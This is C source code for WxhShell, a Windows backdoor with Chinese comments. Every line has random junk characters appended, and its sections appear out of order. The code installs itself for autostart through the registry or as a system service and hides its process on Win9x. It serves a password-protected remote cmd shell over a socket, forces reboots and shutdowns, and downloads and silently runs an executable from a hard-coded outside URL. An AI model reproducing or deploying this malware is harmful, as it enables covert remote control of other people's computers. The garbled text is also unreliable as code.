    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jA:'P~`Hj  
    else { P(8Yz W  
    closesocket(wsh); ;7qzQ{Km  
    ExitThread(0); 6vNn;-gg.  
    } %4x0^<k~  
    break; %{r3"Q=;W  
    } DUu:et&c1  
  // 获取shell |-{ Hy(9  
  case 's': { h+H+>,N8`  
    CmdShell(wsh); 6%6dzZ  
    closesocket(wsh); D Q={  
    ExitThread(0); pwHe&7e#  
    break; 3)=ix. wW  
  } |-/@3gPO  
  // 退出 L6nsVL&  
  case 'x': { F^Jz   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k^K76mB  
    CloseIt(wsh); gfAWN  
    break; ;5\'PrE  
    } mGDc,C=5:  
  // 离开 LHZsmUM(dg  
  case 'q': { sxF2ku4A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~e[qh+  
    closesocket(wsh); 8b 7I\J`  
    WSACleanup(); qrw*?6mSQ  
    exit(1); =eW4?9Uq  
    break; 'Bt!X^  
        } Gy["_;+xU  
  } .c<U5/  
  } R1Rk00Ow:  
[N4N7yF  
  // 提示信息 I'{Ctc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (HeSL),1  
} Pr%KcR ;  
  } E,?IIRg&  
zp f<!x^  
  return; ; Gv-$0{P3  
} g6DIWMoO=h  
gk8 v{'0Er  
// shell模块句柄 7vPG b:y  
int CmdShell(SOCKET sock) .HY,'oC.  
{ It/'R-H  
STARTUPINFO si; 7W4m&+  
ZeroMemory(&si,sizeof(si)); $;ny`^8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |p*cI @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X_ Lt{mf  
PROCESS_INFORMATION ProcessInfo; d<OdQvW.  
char cmdline[]="cmd"; qu $FpOJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kl1Q:  
  return 0; "Zn nb*pOM  
} h|'|n/F  
_M7|:*  
// 自身启动模式 ' cS| BT  
int StartFromService(void) X5+^b({  
{ mhU=^/X  
typedef struct xp3^,x;\X  
{ yNwSiZE X  
  DWORD ExitStatus; Xs$a^zZ  
  DWORD PebBaseAddress; 5'{QMnfB  
  DWORD AffinityMask; L)7{_s  
  DWORD BasePriority; ~qL/P 5*+  
  ULONG UniqueProcessId; ~n0Exw(  
  ULONG InheritedFromUniqueProcessId; ^zqQ8{oV  
}   PROCESS_BASIC_INFORMATION; Kt]vTn7!9  
Z{#3-O<a+n  
PROCNTQSIP NtQueryInformationProcess; HtE^7i*_  
CUC]-]8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #] Do_Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9$[MM*r  
xo ^|d3  
  HANDLE             hProcess; d,meKQ n  
  PROCESS_BASIC_INFORMATION pbi; :D2GLq*\  
!]mo.zDSW5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q9p2.!/C1  
  if(NULL == hInst ) return 0; kMEXgzl  
4V]xVma  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5?(dI9A"K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <H<Aba9\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WyQ8}]1b  
,_7m<(/f  
  if (!NtQueryInformationProcess) return 0; X>yE<ni  
TOP,]N/F H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dR,a0+!  
  if(!hProcess) return 0; K!>3`[:I"  
"<&o ;x<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #sv}%oV,F  
l_2l/ff9  
  CloseHandle(hProcess); L4u.cH J}0  
-s0J8b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / )[\+Nc  
if(hProcess==NULL) return 0; @LU[po1I  
e2nZwPH  
HMODULE hMod; ? )IH#kL  
char procName[255]; ^Nav8dma  
unsigned long cbNeeded; R*ex!u60M  
Q3t%JP>;g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T I ZkN6  
 _ qQ  
  CloseHandle(hProcess); m^/>C -&C  
*z~J ]  
if(strstr(procName,"services")) return 1; // 以服务启动 4 #lLC-k  
y^{ 4}^u-^  
  return 0; // 注册表启动 oc-o>H  
} j~;y~Cx?  
l<"B[  
// 主模块 eIP k$j{e  
int StartWxhshell(LPSTR lpCmdLine) bgInIe  
{ Ia^/^>  
  SOCKET wsl; )J[Ady^5  
BOOL val=TRUE; .'-t>(}v  
  int port=0; $x+ P)5)  
  struct sockaddr_in door; &XhxkN$8  
0q1+5  
  if(wscfg.ws_autoins) Install(); 5rA>2<\pQ  
9/#b1NGv  
port=atoi(lpCmdLine); geqx":gpx9  
\IR $~  
if(port<=0) port=wscfg.ws_port; fv>Jn`  
* _,yK-et  
  WSADATA data; dftX$TS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `\BBdQ#bH  
6p,}?6^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fk`6 q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :}v:=ck  
  door.sin_family = AF_INET; c Ct5m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "(+aWvb  
  door.sin_port = htons(port); GsqO^SV  
8h|~>v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]HG> Og  
closesocket(wsl); MAc/ T.[  
return 1; ~~ty9;KYL  
} ^M1O)   
8Tc:TaL  
  if(listen(wsl,2) == INVALID_SOCKET) { f+c{<fX  
closesocket(wsl); L#_QrR6Sny  
return 1; W;,RU8\f  
} w;Pe_m7\EO  
  Wxhshell(wsl); `-rtU  
  WSACleanup(); bXHtw} n  
:{xu_"nYr  
return 0; 1<M~ #  
6HVGqx  
} %NL7XU[~  
P\ 2Bx *e  
// 以NT服务方式启动 f5nAD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &v r0{]V^  
{ rN {5^+w  
DWORD   status = 0; I]d?F:cdX  
  DWORD   specificError = 0xfffffff; &#]||T-  
34vH+,!u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -r{]9v2j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lWU? R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {JcMJZ3  
  serviceStatus.dwWin32ExitCode     = 0; 2|+4xqNJm  
  serviceStatus.dwServiceSpecificExitCode = 0; kr]_?B(r  
  serviceStatus.dwCheckPoint       = 0; YdAC<,e&A  
  serviceStatus.dwWaitHint       = 0; ".fnx8v,  
00A2[gO9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vmtmiN8;d  
  if (hServiceStatusHandle==0) return; bgmOX&`G  
|Gb~[6u   
status = GetLastError(); 16N`xw+{  
  if (status!=NO_ERROR) Vao3 &#D8  
{ As#/ln$nE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -EU~ %/=m+  
    serviceStatus.dwCheckPoint       = 0; qI\B;&hr(  
    serviceStatus.dwWaitHint       = 0; LoS%  FI  
    serviceStatus.dwWin32ExitCode     = status; b=Q%Jxz?  
    serviceStatus.dwServiceSpecificExitCode = specificError; YccD ^w[`B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:udw  
    return; N8]d0  
  } Y{m1\s/o  
r P&.`m88n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N5fMMi(O  
  serviceStatus.dwCheckPoint       = 0; oVnHbvP1X  
  serviceStatus.dwWaitHint       = 0; `q1K%id  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ezk:XDi4  
} |F>'7JJJ  
)XD$YI  
// 处理NT服务事件,比如:启动、停止 rEZMX2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hKp-"  
{ W#<ZaGsq  
switch(fdwControl) :B4X/  
{ p \,PY  
case SERVICE_CONTROL_STOP: QEq>zuz5;  
  serviceStatus.dwWin32ExitCode = 0; Y3f2RdGl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =)XC"kU p  
  serviceStatus.dwCheckPoint   = 0; ljj}X JQ  
  serviceStatus.dwWaitHint     = 0; <F5x}i~(C  
  { N%QVkuCbM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &#[6a&9#[A  
  } 80O[pf*?  
  return; Z <tJ+  
case SERVICE_CONTROL_PAUSE: +P 9h%/Yk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *ps")?tlC  
  break; ;jpsH?3g  
case SERVICE_CONTROL_CONTINUE: .AHww7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c ]&|.~2&  
  break; c5tCw3$t  
case SERVICE_CONTROL_INTERROGATE: B976{;QvXV  
  break; sBu- \P#  
}; 09rbu\h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yi3Cd@t({{  
} h{M.+I$}C  
e? !A]2  
// 标准应用程序主函数 9.$k^|~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XhJbBVS|  
{ /*{s1Zcb  
 |<1  
// 获取操作系统版本 pD%Pg5p`  
OsIsNt=GetOsVer(); v`pIovn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |B.tBt^  
m]:|j[!*M  
  // 从命令行安装 th(<S  
  if(strpbrk(lpCmdLine,"iI")) Install(); WMd5Y`y  
>`c-Fqk  
  // 下载执行文件 Q>emyij  
if(wscfg.ws_downexe) { ibskce{H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8;]U:tv  
  WinExec(wscfg.ws_filenam,SW_HIDE); p_2-(n@  
} 3)+}2  
~!a~ -:#  
if(!OsIsNt) { F2RU7o'f.  
// 如果时win9x,隐藏进程并且设置为注册表启动 |cCrLa2*-  
HideProc(); Aaq!i*y  
StartWxhshell(lpCmdLine); x0_$,Tz@  
} P mgTTI  
else sKI{AHJ?X  
  if(StartFromService()) rXlJW]i  
  // 以服务方式启动 WfE,U=e*  
  StartServiceCtrlDispatcher(DispatchTable);  \>*B  
else ril4*$e7^\  
  // 普通方式启动 zDO`w0N  
  StartWxhshell(lpCmdLine); WrNm:N  
YYUWBnf30G  
return 0; V8.o}BWY  
} 8(c,b  
Mm+kG'Z!S  
VdV18-ea  
>|22%YVX  
=========================================== (:]on^|  
t LZ4<wc  
 &(Ot(.  
u*J,3o} <  
1FiFP5  
K7H` Yt  
" (\<#fkeH  
CPCjY|w7   
#include <stdio.h> NiQ_0Y}  
#include <string.h> Wq1%  
#include <windows.h> ]ozZW:  
#include <winsock2.h> IirXF?&t  
#include <winsvc.h> co$I htOv  
#include <urlmon.h> y BwgLn  
Td !7Rx _  
#pragma comment (lib, "Ws2_32.lib") VMZ"i1rP  
#pragma comment (lib, "urlmon.lib") as?~N/}  
], HF) 21  
#define MAX_USER   100 // 最大客户端连接数 q'%-8t  
#define BUF_SOCK   200 // sock buffer <k0$3&D  
#define KEY_BUFF   255 // 输入 buffer se1\<YHDS  
z\fmwI  
#define REBOOT     0   // 重启 >Hq)1o  
#define SHUTDOWN   1   // 关机 \.tnzP D  
^%V^\DK  
#define DEF_PORT   5000 // 监听端口 CHqRCQR.  
\,i?WgWv  
#define REG_LEN     16   // 注册表键长度 J`*!U4  
#define SVC_LEN     80   // NT服务名长度 b]X c5Dp{  
ny:4L{)  
// 从dll定义API 7]w]i5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -5~&A6+ILn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pPNU0]/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q^qdm5}UkW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s6|Ev IVM  
_S[@d^cY  
// wxhshell配置信息 451TTqc  
struct WSCFG { hqA6%Y^k  
  int ws_port;         // 监听端口 rG _T!']~  
  char ws_passstr[REG_LEN]; // 口令 (c<MyuWb  
  int ws_autoins;       // 安装标记, 1=yes 0=no V9tG2m Lf>  
  char ws_regname[REG_LEN]; // 注册表键名 Jf-4Q!  
  char ws_svcname[REG_LEN]; // 服务名 7r?s)ZV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名   SW ^F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G G]4g)O5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 478gl o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -c"nx$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E{m\LUd^ :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I$7#Z!P6|  
"[[9i  
}; Yz?4eSa/  
4PwjG;!K  
// default Wxhshell configuration t<Iy `r7 1  
struct WSCFG wscfg={DEF_PORT, F|t3%dpj  
    "xuhuanlingzhe", }6;v`1Hr  
    1, Z9MT, "  
    "Wxhshell", lC8DhRd0_  
    "Wxhshell", 6^M!p4$hF  
            "WxhShell Service", 2cy: l03  
    "Wrsky Windows CmdShell Service", s%K 9;(RWI  
    "Please Input Your Password: ", }i7Gv K<[:  
  1, Hp2y sU  
  "http://www.wrsky.com/wxhshell.exe", "Cz8nG  
  "Wxhshell.exe" ~@=*JzP?  
    }; G(2(-x"+  
vKv!{>,v9Z  
// 消息定义模块 DM3W99PWA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <g SZt\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OaeGukhX&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]chfa  
char *msg_ws_ext="\n\rExit."; 8cV3VapF  
char *msg_ws_end="\n\rQuit."; Flrpk`4  
char *msg_ws_boot="\n\rReboot..."; H B}!Lf#*P  
char *msg_ws_poff="\n\rShutdown..."; %jgB;Y  
char *msg_ws_down="\n\rSave to "; }0& @J'<  
5.KhI<[  
char *msg_ws_err="\n\rErr!"; umt*;U=  
char *msg_ws_ok="\n\rOK!"; 2WK]I1_  
i$GL]0  
char ExeFile[MAX_PATH]; &R? \q*  
int nUser = 0; oDtgB O<  
HANDLE handles[MAX_USER]; !Nu ~4  
int OsIsNt; Z%]s+V)st  
\OV><|Lkh  
SERVICE_STATUS       serviceStatus; sYQ=nL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vhA 4ol  
0}a="`p#<  
// 函数声明 >h?!6L- d  
int Install(void); S${n:e0\  
int Uninstall(void); IkzY   
int DownloadFile(char *sURL, SOCKET wsh); _O76Aw-@l  
int Boot(int flag); Sm@T/+uG:  
void HideProc(void); O$=[m9V  
int GetOsVer(void); i(hI\hD  
int Wxhshell(SOCKET wsl); IQ$cLr-S  
void TalkWithClient(void *cs); 8T&.8r  
int CmdShell(SOCKET sock); [8F1rZ&  
int StartFromService(void); D"x;/I  
int StartWxhshell(LPSTR lpCmdLine); D%CKkQ<u2  
tVB9kxtE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F }/tV7m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =Oo=&vA.oc  
6Qo YX] .  
// 数据结构和表定义 Q{s9{  
SERVICE_TABLE_ENTRY DispatchTable[] = fwe4f  
{ JDTlzu1hR  
{wscfg.ws_svcname, NTServiceMain}, ;L <D-=  
{NULL, NULL} T*AXS|=ju  
}; qD@]FEw!O  
;'E1yzX^  
// 自我安装 ZtS>'W8l  
int Install(void) 6:Fb>|]*PY  
{ L_TM]0D>7  
  char svExeFile[MAX_PATH]; |@6t"P]@  
  HKEY key; :gD=F&V  
  strcpy(svExeFile,ExeFile); U3R;'80 f  
"iu9r%l94  
// 如果是win9x系统,修改注册表设为自启动 it Byw1/  
if(!OsIsNt) { us/}_r74N*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ULqFJ*nla  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oz3JMZe  
  RegCloseKey(key); U`G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %\i OX|F_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fVb~j;  
  RegCloseKey(key); >iZ"#1ZL2O  
  return 0; [{}Hk%wlX  
    } z|p C*1A\  
  } d`}t!]Gg  
} ]Alv5?E60  
else { iJ&*H)}^  
ku8C#%.m3  
// 如果是NT以上系统,安装为系统服务 Aoi) 11>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >s 5i  
if (schSCManager!=0) AQx:}PO  
{ Y@jO#6R  
  SC_HANDLE schService = CreateService v[++"=< o8  
  ( XfYMv38(  
  schSCManager, %QYH]DR  
  wscfg.ws_svcname, {WYJQKs8  
  wscfg.ws_svcdisp, Mj9Mv<io  
  SERVICE_ALL_ACCESS, G+?Z=A:T8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <D_UF1Pk  
  SERVICE_AUTO_START, F gi&CJ8Q  
  SERVICE_ERROR_NORMAL, HLlp+;CF><  
  svExeFile, [:CV5k~xc  
  NULL, |n*nByL/  
  NULL, U*p;N,SjQ  
  NULL, aEL^N0\d  
  NULL, `(2Y%L(r  
  NULL CXI%8eFXe$  
  ); J~}%j.QQ7  
  if (schService!=0) hDn?R}^l{  
  { kYW>o}J|  
  CloseServiceHandle(schService); -:$#koW  
  CloseServiceHandle(schSCManager); >cTSX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C2X$bX"  
  strcat(svExeFile,wscfg.ws_svcname); bfE4.YF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {*BZ;Xh\8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3xhGmD\SKO  
  RegCloseKey(key); tL>c@w#Pv  
  return 0; d~0k}|>  
    } (dH "b *  
  } #YiphR&  
  CloseServiceHandle(schSCManager); 5YZh e4R  
} _A>?@3La9  
} k1.h|&JJN  
K*QRi/O  
return 1; QWncKE,O$  
} yhuzjn  
M:PEY*4H  
// 自我卸载 HQy:,_f@  
int Uninstall(void) cF2!By3M  
{ q6]T;)U&  
  HKEY key; 9I|D"zXn  
pO_$8=G+  
if(!OsIsNt) { ;h7W(NO~z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D8rg:,'6  
  RegDeleteValue(key,wscfg.ws_regname); dvW2X  
  RegCloseKey(key); *!m\%*y{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -/g<A~+i]$  
  RegDeleteValue(key,wscfg.ws_regname); Sc.@u3  
  RegCloseKey(key); 1_=I\zx(  
  return 0; "hbCP4  
  } # n_gry!5  
} |7$Q'3V  
} B - 1Kfc  
else { D;Bij=  
Qo5yfdR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BzXTHFMSy  
if (schSCManager!=0) 2+oS'nL  
{ t+l{D#?a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O30eq 7(  
  if (schService!=0) )` ^/Dj;  
  { S^q%+Z  
  if(DeleteService(schService)!=0) { jap5FG+2  
  CloseServiceHandle(schService); KHT RoXt  
  CloseServiceHandle(schSCManager);  >7$h  
  return 0; <K:L.c!  
  } {Qf/.[  
  CloseServiceHandle(schService); 9<|nJt  
  } H "; !A=0  
  CloseServiceHandle(schSCManager); !r#36kO  
} f;`7}7C  
} 2Kmnt(>  
riu_^!"Z_  
return 1; ~p!=w#/  
} !^x;4@Ejm  
d(_;@%p1X  
// 从指定url下载文件 j9 d^8)O,  
int DownloadFile(char *sURL, SOCKET wsh) 0 3?7kAI  
{ J?$`Tnx^  
  HRESULT hr; 8=-/0y9,  
char seps[]= "/"; [W8"Mc|ve  
char *token; kZK1{  
char *file; KlGmO;k  
char myURL[MAX_PATH];  84g8$~M  
char myFILE[MAX_PATH]; [sXn B$  
p6&6^v\  
strcpy(myURL,sURL); ']:>Ww.S  
  token=strtok(myURL,seps); bCg)PJuB  
  while(token!=NULL) rUW/d3y  
  { GTocN1,Z~a  
    file=token; ,GY K3+}Z  
  token=strtok(NULL,seps); [!S%nYs&8L  
  } ($X2SIZh  
;[q>  
GetCurrentDirectory(MAX_PATH,myFILE); +'"NKZ.>TT  
strcat(myFILE, "\\"); = tY%k!R  
strcat(myFILE, file); L$3{L"/   
  send(wsh,myFILE,strlen(myFILE),0); 7csMk5NU'<  
send(wsh,"...",3,0); Qm)c!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S^:7V[=EgI  
  if(hr==S_OK) =KW~k7TaN  
return 0; A5IW[Gu!  
else w\}Q.$@  
return 1; ,c&%/"i:w  
O|mWQp^?q  
} [+wLy3_  
8=,?B h".  
// 系统电源模块 Ro.br:'Bw  
int Boot(int flag) U}<'[o V  
{ }Ryrd!3bY  
  HANDLE hToken; [l*;+N+  
  TOKEN_PRIVILEGES tkp; APv& ^\oUH  
Rebo.6rG  
  if(OsIsNt) { G\B:iyKl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vif)e4{Pn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~93#L_V_O  
    tkp.PrivilegeCount = 1; I~&*8)xM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n%d7`?tm4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +EvY-mwfQ  
if(flag==REBOOT) { KN:V:8:J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m+EtB6r  
  return 0; Kwo0%2Onkd  
} &9 khIJI n  
else { G DwijZw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h%ba!  
  return 0; :OD-L)Or  
} h/NI5   
  } #^9a[ZLj0  
  else { tKCX0UZ'  
if(flag==REBOOT) { ,xg(F0q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;0nL1R]w(  
  return 0; C4|H 5H  
} yaK4% k  
else { ,D93A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +-PFISa<r  
  return 0; O6b.oS '-  
} %T DY &@i=  
} 9)S,c =z83  
$p\0/  
return 1; }_h2:^n  
} " XlXu  
3z!^UA>q  
// win9x进程隐藏模块 **~1`_7~*  
void HideProc(void) P] Xl  
{ o>y@1%aU  
dG%{&W9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I6Oc`S!L  
  if ( hKernel != NULL ) 0F%V+Y\R  
  { 0GcOI}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?1]h5Uh[b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xF`O ehVA  
    FreeLibrary(hKernel); .tzQ hd>  
  } gezZYP)d  
i,mo0CSa  
return; Df}3^J~JX  
} "[2D&\$  
znNv;-q  
// 获取操作系统版本 t}2M8ue(&  
int GetOsVer(void) r~;TId} #  
{ DC,]FmWs!+  
  OSVERSIONINFO winfo; uE&2M>2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ta)6ly7'  
  GetVersionEx(&winfo); PHg(O:3WG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o(Q='kK  
  return 1; `m\l#r 2C  
  else N3|aNQ=X0  
  return 0; AfJ.SNE  
} 0Rz",Mu>  
1V;m8)RF  
// 客户端句柄模块 Rqun}v}  
int Wxhshell(SOCKET wsl) FfibR\dhY  
{ ~uweBp~O  
  SOCKET wsh; {AO`[  
  struct sockaddr_in client; ]MRQcqbpqL  
  DWORD myID; $m0-IyXcv  
ntD8:%m  
  while(nUser<MAX_USER) K~jN"ev  
{ E )%r}4u>  
  int nSize=sizeof(client); )B5(V5-!|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~.<}/GP]_  
  if(wsh==INVALID_SOCKET) return 1; "xE;IpO[  
xi!R[xr1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {>zQW{!  
if(handles[nUser]==0) xwZ7I  
  closesocket(wsh); Vf` 9[*j  
else cB2jf</  
  nUser++; <'92\O  
  } K&%YTA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9 p`|~^X  
r]O8|#P,Z$  
  return 0; \++#adN:K  
} KL+,[M@ F  
i`vgD<}  
// 关闭 socket 'sN (=CQ  
void CloseIt(SOCKET wsh) 'H)l~L  
{ uz@WW!+o  
closesocket(wsh); )! C|DSw  
nUser--; U66zm9 3&  
ExitThread(0); q-nM]Gm  
} b`X"yg+  
Iw;J7[hJ&$  
// 客户端请求句柄 #{Gojg`5O  
void TalkWithClient(void *cs) g TqtTd~L  
{ N0']t Gh2  
6l?\iE  
  SOCKET wsh=(SOCKET)cs; tC'@yX  
  char pwd[SVC_LEN]; ^|h})OHV  
  char cmd[KEY_BUFF]; DX4"}w  
char chr[1]; he1OLk  
int i,j; I,YP{H4  
U\`H0'  
  while (nUser < MAX_USER) { O{44GB3  
q NE( @at  
if(wscfg.ws_passstr) { 2a[_^v $v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2:D1<z6RQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b}5hqIy  
  //ZeroMemory(pwd,KEY_BUFF); *XSHzoT*  
      i=0; G ~|Z (}H  
  while(i<SVC_LEN) { ]2'{W]m  
rd4\N2- 6  
  // 设置超时 @Z%I g  
  fd_set FdRead; I\oI"\}U  
  struct timeval TimeOut; OA\ *)c+F  
  FD_ZERO(&FdRead); bF{14F$  
  FD_SET(wsh,&FdRead); o&vODs  
  TimeOut.tv_sec=8; f/K:~#k  
  TimeOut.tv_usec=0; `Pe WV[?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *kWrF* )J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B:QAG  
O)WduhlGQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kpt 0spp  
  pwd=chr[0]; UXN!iU)  
  if(chr[0]==0xd || chr[0]==0xa) { 7s-ZRb[)1  
  pwd=0; ]U,f}T"e  
  break; Kh;jiK !  
  } <j$n7#qk  
  i++; .j_YVYu1&  
    } =a3qpPkx  
czHbdEh  
  // 如果是非法用户,关闭 socket =lqBRut  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Mr?}_,X*  
} wa}\bNKQk  
om'DaG`A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +:fr(s!OE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ??.9`3CYo  
7Yrp#u1!  
while(1) { H3Z"u  
_/zK ^S)  
  ZeroMemory(cmd,KEY_BUFF); 'dTg\ Qv  
_N&]w*ce  
      // 自动支持客户端 telnet标准   m?=9j~F *  
  j=0; B)cVbjTn  
  while(j<KEY_BUFF) { N#? Ohz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;wkoQ8FD9  
  cmd[j]=chr[0]; r]+N(&q  
  if(chr[0]==0xa || chr[0]==0xd) { _laLTP*  
  cmd[j]=0; yhi6RDS  
  break; 235wl  
  } X #!oG)or  
  j++; 47 _";g@X  
    } 8!uqR!M<C  
 'WW['  
  // 下载文件 .^J7^ Ky,  
  if(strstr(cmd,"http://")) { d5ivtK?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yAt,XG3  
  if(DownloadFile(cmd,wsh)) \.7O0Q{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5}wR(i,4  
  else l;gj],*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KoPhPH  
  } !@<>S>uGG  
  else { W~&PGmRI  
rZBOWT  
